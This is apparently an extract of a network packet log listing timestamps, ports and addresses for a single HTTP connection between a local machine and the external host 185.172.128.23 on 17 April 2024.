Apr 17, 2024 09:17:07.797662020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797673941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797698975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797710896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797739029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797750950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797777891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797791004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797816038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797827005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797853947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.797866106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.797904015 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003247023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003279924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003297091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003314972 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003331900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003374100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003391981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003411055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003427982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003446102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003464937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003483057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003494978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003494978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003494978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003505945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003551006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003556967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003556967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003556967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003571033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003590107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003607988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003626108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003632069 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003643990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003659010 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003663063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003685951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003703117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003717899 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003735065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003734112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003734112 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003753901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003757954 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003772020 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003788948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003793955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003806114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003823996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003833055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003840923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003855944 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003859997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003879070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003885031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003895044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003914118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003916025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003931046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003950119 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003951073 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.003967047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003985882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.003997087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004005909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004012108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004024029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004035950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004041910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004060030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004075050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004076958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004095078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004121065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004123926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004131079 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004148006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004167080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004168034 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004187107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004194021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004204988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004226923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004234076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004245043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004256964 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004264116 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004281044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004296064 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004300117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004318953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004333973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004337072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004354954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004357100 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004375935 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004390955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004395008 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004411936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004430056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004431009 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004447937 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004455090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004466057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004477024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004487038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004506111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004518986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004523993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004542112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004558086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004559040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004576921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004584074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004594088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004604101 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004611015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004628897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004645109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004646063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004662991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004679918 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004681110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004698038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004705906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004715919 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004724979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004733086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004750967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004764080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004767895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004786015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004798889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004805088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004823923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004825115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004842043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004848957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004858971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004875898 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004887104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004894018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004911900 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004923105 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004929066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004946947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004950047 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004965067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004981041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.004982948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.004998922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005017042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005017042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005033970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005042076 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005053997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005063057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005072117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005090952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005105019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005109072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005125999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005143881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005146980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005156994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005161047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005177021 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005194902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005198002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005212069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005230904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005243063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005249023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005264997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005269051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005284071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005300999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005302906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005317926 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005335093 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005337000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005351067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005367041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005373955 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005384922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005397081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005403042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005423069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005425930 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005441904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005455971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005460024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005489111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005496979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005507946 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005512953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005527973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005548954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005553007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005567074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005585909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005592108 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005604982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005611897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005620956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005644083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005660057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005664110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005681038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005687952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005697966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005717039 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005726099 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005737066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005755901 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005769968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005774975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005788088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005794048 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005814075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005826950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005832911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005851984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005860090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005871058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005884886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005889893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005907059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005918026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005925894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005944014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005954981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005963087 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.005979061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.005981922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006000042 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006012917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006020069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006037951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006048918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006055117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006072044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006083012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006091118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006103992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006110907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006130934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006139040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006150007 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006170034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006180048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006189108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006207943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006226063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006239891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006247044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006264925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006272078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006272078 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006282091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006299019 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006299973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006318092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006334066 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006336927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006356001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006371021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006375074 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006392956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006395102 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006412029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006428957 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006432056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006452084 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006465912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006469011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006488085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006489992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006505966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006522894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006525040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006542921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006560087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006563902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006581068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006582022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006599903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006618023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006620884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006638050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006655931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006659031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006671906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006675005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006704092 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006712914 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006721973 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006742001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006750107 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006762028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006767988 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006781101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006798983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006808996 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006819010 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006836891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006849051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006855965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006870031 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006875038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006892920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006908894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006910086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006928921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006942987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006947041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006967068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.006968021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.006984949 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007004023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007004023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.007020950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007040024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.007040024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007057905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007066011 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:08.007076979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:08.007086039 CEST	49704	80	192.168.2.5	185.172.128.23
